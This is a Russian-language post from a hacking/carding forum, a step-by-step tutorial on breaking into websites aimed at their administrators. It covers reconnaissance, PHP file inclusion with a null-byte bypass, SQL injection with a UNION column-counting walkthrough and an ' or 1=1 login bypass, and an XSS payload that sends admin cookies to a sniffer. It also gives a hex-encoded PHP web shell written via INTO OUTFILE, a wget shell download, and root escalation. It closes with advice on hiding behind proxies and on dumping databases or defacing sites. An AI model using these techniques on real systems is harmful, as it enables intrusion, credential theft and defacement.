1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Взлом сайтов

Тема в разделе "Чужие", создана пользователем SAIND, 1 май 2013.

  1. TopicStarter Overlay
    SAIND

    SAIND

    Регистрация:
    27 сен 2012
    Сообщения:
    743
    Симпатии:
    606
    ВСТУПЛЕНИЕ Данная статья не претендует на звание самой лучшей, т.к. существует множество статей на данную тему. Она призвана собрать в себе некоторые из массы приемов по борьбе против админов.

    Часть 1. ПРЕДВАРИТЕЛЬНОЕ ОБСЛЕДОВАНИЕ «ПАЦИЕНТА».

    Глава 1. Статичность или динамичность? Допустим у нас есть сайт _Please login or register to view links. Первое, что необходимо сделать – это просмотреть его контент. Бывают сайты двух типов – со статическим или же с динамическим наполнением. Второй тип встречается чаще, т.к. каждый раз создавать новую страницу – это большой труд, а если таких страниц нужно 100… Первый тип используется либо новичками(для создания личной странички) или сильно защищаемыми компаниями, дабы обезопасить себя от большинства приемов взлома, но, как говорится, никто не застрахован… Второй тип для нас предпочтительнее, т.к. из-за динамичности трудно отслеживать все появляющиеся ошибки. Итак, смотрим какие страницы присутствуют. Для статического контента свойственны страницы с расширениями *.htm, *.html (Но это не всегда так, т.к. можно прятать сценарии на PHP или ASP в виде HTML). Распознать статические страницы можно по их количеству, отсутствию параметров в адресной строке и прямым переходам на другие страницы. Для динамических сайтов характерны расширения *.php, *.phtml, *.php3, *.asp, *.aspx, *.jsp - это расширения языков обработки сценариев. Пример: На сайте _Please login or register to view links присутствуют 5 страниц: index.html, masha.html, pasha.html, ih_lubov.html, about.htm. Этот сайт скорее всего статический… А вот страница вида _Please login or register to view links page=sasha.html наводит на подозрение о динамичности сайта.

    Глава 2. Кто тут ещё? Возможно, что обследуемый сайт состоит всего из 3-4 статических страниц и найти ошибки в них нет возможности. В этом случае нам может помочь то обстоятельство, что на одном сервере могут размещаться несколько сайтов, некоторые из них могут иметь динамическое наполнение или открытый доступ в админки(что бывает очень редко). Помочь найти таких соседей на помогут специальные сервисы, вот адреса трёх из таких: - Please login or register to view links - Please login or register to view links - Please login or register to view links. Далее можно проверить сервер на наличие других сервисов, таких как FTP, Telnet, SSH, HTTPS(защищенный HTTP). Иногда бывает так, что админ полностью защитил свой контент, а забыл про сервис FTP и оставил его открытым. Пример: Сайт _Please login or register to view links хорошо защищен, но на этом IP сидит ещё один сайт _Please login or register to view links (как мы узнали из вышеупомянутых сервисов). Он защищен тоже хорошо, но набив в адресной строке _Please login or register to view links мы видим весь контент сайта и можем залить туда шелл (специальный скрипт позволяющий выполнять в системе сервера различные команды). Вообще, заливка шелла – это предпоследний шаг при получении полного доступа к серверу.

    Глава 3. Ближе к телу. Итак, зная многое о сайте, что можно ещё сделать? Можно просканировать «скрытый» контент сайта для получения нужной информации. Многие админы хотят, чтобы их детище было популярным у людей, поэтому они всячески пытаются завлечь к себе поисковые системы. Это делается для того, чтобы человек в поисках информации заходил на сайт через поисковые серверы (yandex.ru, rambler.ru, google.com, msn.com). У этих систем есть свои «добыватели информации» - роботы, которые ходят по всем ссылкам и все куда-то записывают, а потом выдают при нажатии на кнопку ПОИСК. Чтобы эти роботы не лазили куда им не следует, часто создают в корне сайта специальный файл с инструкциями боту. Он называется robots.txt. В нём иногда можно найти много интересной информации. Также можно просканировать весь сайт при помощи специальных утилит таких как NIKTO, Xspyder и др. (Все их можно найти в интернете). Они помогут отыскать скрытые от наших глаз файлы и папки. Пример: По адресу _Please login or register to view links мы видим, что существует папка /forum, хотя на самом сайте о ней никакого упоминания нет. Переходим по адресу _Please login or register to view links и лицезреем только что сделанный форум, а просканировав сайт сканером, мы находим админку без авторизации - _Please login or register to view links.

    Часть 2. АТАКА.

    Глава 1. Перед атакой. При просмотре сайта опытный глаз всегда заметит, самодельный сайт или же он построен на каком-либо популярном движке. А для этих движков почти все уязвимости известны (за исключение так называемых private-sploit, которые известны только узкому кругу людей и стоят больших денег). Новичку же стоит обращать своё внимание на следующие вещи: - Надпись Powered by xxxxxxxx говорит, что название движка xxxxxxxx; - Стиль оформеления такой же, как у движка yyyyyyy; - Название скриптов такое же, как у движка zzzzzzz. Если вы поняли, какой движок управляет сайтом, то нужно поискать уязвимости самому, скачав такой же, или же, если не хватает знаний, то воспользоваться специализированными сайтами, такими как XakNet.ru, AntiChat.ru, SecurityLab.ru, milw0rm.com. Там в специальных разделах лежит информация почти о всех уязвимостях известных движков, а также присутствуют сплоиты – специальные скрипты, автоматически взламывающие сайт (их обычно искользуют либо новички за не знанием, либо профи для упрощения процесса взлома). Для самописных сайтов существуют несколько видов атак на веб-контент, самые распространённые: - PHP-инъекции; - SQL-инъекции; - XSS-атаки.

    Глава 2. PHP-injection. PHP-инъекции – это вид атаки, при котором вместо положенной страницы взломщик выводит ту, которая ему нужна. Наличие данной уязвимости характерно для сайтов, у которых адресная строка выглядит примерно так –_Please login or register to view links - это идеальная PHP-инъеция, при которой скрипт не проверяет(в большинстве случаев) ни название файла, ни его расширение. Есть инъекции, при которых расширение файла дописывается самим скриптом - _Please login or register to view links -выведет страницу sasha.html. Для обхода данного «запрета» (А нам нужно вывести например файл с паролями от базы данных – config.php) используется 0-баг, суть которого состоит в том, что в конце полного названия файла ещё приписывается %00, т.е. адрес примет вид _Please login or register to view links page=config.php%00 (%00 означает «конец строки»). Таким образом на экране(или в коде страницы) выведется содержимое файла config.php, а там…..

    Глава 3. SQL-injection. Многие сайты хранят важную информацию в базах данных. Наиболее популярными в интернете считаются MySQL и MSSQL базы данных. Сайт при помощи запросов может обратиться к базе данных, она выдаст ответ, а скрипт выдаст его в нужном формате пользователю. Так вот, если изменить каким-то образом запрос, мы можем получить нужный нам результат. Проверить на наличие SQL-инъекции можно подставив в параметр символ «‘», который в базах данных является ограничителем запроса, т.е. если есть адрес _Please login or register to view links и мы подставив ‘ после параметра 365 -_Please login or register to view links получаем вместо вывода на экран информации ошибку, то это говорит о наличии SQL-инъекции. Дальше – все зависит от вида и версии базы данных. Описываеть здесь все подвиды SQL-атак я не буду, т.к. объём статьи сразу увеличится в разы, но с радостью скажу где про это можно почитать подробно, т.к. статей по данному виду уязвимостей -множество. Вот ссылки на специализированные сайты: - Please login or register to view links - Please login or register to view links - Please login or register to view links и др.

    Пример: Адресная строка сайта выглядит так: _Please login or register to view links id=365. Мы, подставив ‘ - _Please login or register to view links - получаем ошибку вида “MySQL Error: …”. Подбираем количество столбцов при помощи “+order+by+XX/*”, где XX – число, которое означает номер столбца: _Please login or register to view links - ошибка есть… _Please login or register to view links - ошибка есть… _Please login or register to view links - ошибки нет, значит кол-во столбцов между 15 и 25… Далее, тем же путем находим, что количество столбцов равно 16. _Please login or register to view links ,16/* - выводятся 2,4,6,8,15. Подставляем user(), version(), database() на место выводимых чисел и получаем информацию о пользователе, версии и название используемой базы данных. Дальше зависит от данных, которые мы хотим получить… Также, если при входе в закрытые разделы сайта используется база данных, мы можем обойти авторизацию при помощи конструкции вида: ’ or 1=1/*, подставив её вместо логина, пароля.

    Глава 4. XSS-атака. Этот вид атаки используется для получения Coockies админов. Если при вводе в какое-нибудь поле, например «ПОЛНОЕ ИМЯ» в гостевой книге, конструкции вида ALERT(‘Admin – FUCK’)( и последующем просмотре своей записи на экране появляется окно с надписью «Admin – FUCK», то это говорит о наличии XSS-уязвимости. Если вставить специальный код, то при просмотре админом данного сообщения его куки прилетят к вам на сниффер, а в них пароль или его хэш, или ссесия… Пример: Сайт _Please login or register to view links имеет гостевую книгу, в которой поле имя подвержено XSS-атаке: вставляем в это поле ALERT(‘Admin – FUCK’); и лицезреем на экране «Admin – FUCK». Теперь вставляем «img = new Image(); img.src=Please login or register to view links"+document.cookie;» и ждем когда админ просмотрит вашу писятину… Получаем через некоторое время на сниффер MD5-хэш его пароля. Расшифровываем на Please login or register to view links, Please login or register to view links, Please login or register to view links. Дальше – в админку…

    Часть 3. ШЕЛЛ, РУТ.

    Глава 1. Шелл-шелл-ля-фам. Итак, мы в админке, или имеем root-доступ к базе данных, или PHP-inj удаленного файла, или FTP-доступ к сайту, что дальше. А дальше еще проще: 1) FTP-доступ или АДМИНКА. Просто заливаем понравившийся вам скрипт шелла и к следующей главе. 2) PHP-inj. Заливаем скрипт шелла на какой-нибудь бесплатный хостинг, например, narod.ru, и инклудим его примерно так - _Please login or register to view links, потом заливаем шелл прямо на сайт. 3) Root MySQL – если не фильтруется кавычка, то можно залить шелл при помощи запроса _Please login or register to view links, 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E,10,11,12,13,14,15,16+FROM+mysql.user+INTO+OUTFI LE+'/home/www/shell.php'/*, где 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E – это закодированное выражение , позволяющее выполнять команды на сервере. Далее заливаем более удобный для работы шелл командой _Please login or register to view links -O shell.php _Please login or register to view links.

    Глава 2. Руууут. Залив шелл мы теперь можем выполнять команды на сервере, а первой командой будет id, которая показывает ваши права в системе, а они обычно скромные. Хочется большего, тогда смотрим, что за ОС стоит на сервере(команда uname –a). Под эту версию ищем сплойт на сайте Please login or register to view links, компилируем, запускаем(как это делать описано либо в начал е самого сплойта, либо в статьях) и… руууууут! Цель достигнута.

    Часть 4. ОБЕЗОПАСИЛИСЬ ЛИ? Каждое преступление наказуемо, поэтому надо заранее себя обезопасить –проксики должны стать вашими лучшими друзьями… Почитайте про ЭТО, не поленитесь…

    Часть 5. НАЗАСЫПКУ. Что вы будете делать – то ли просто забрать базу, то ли дефейснуть сайт, или гнать трафф, а может проксик для юзеров Please login or register to view links .ru поставить .
     
    • Like Like x 6
    Метки:

Поделиться этой страницей

Загрузка...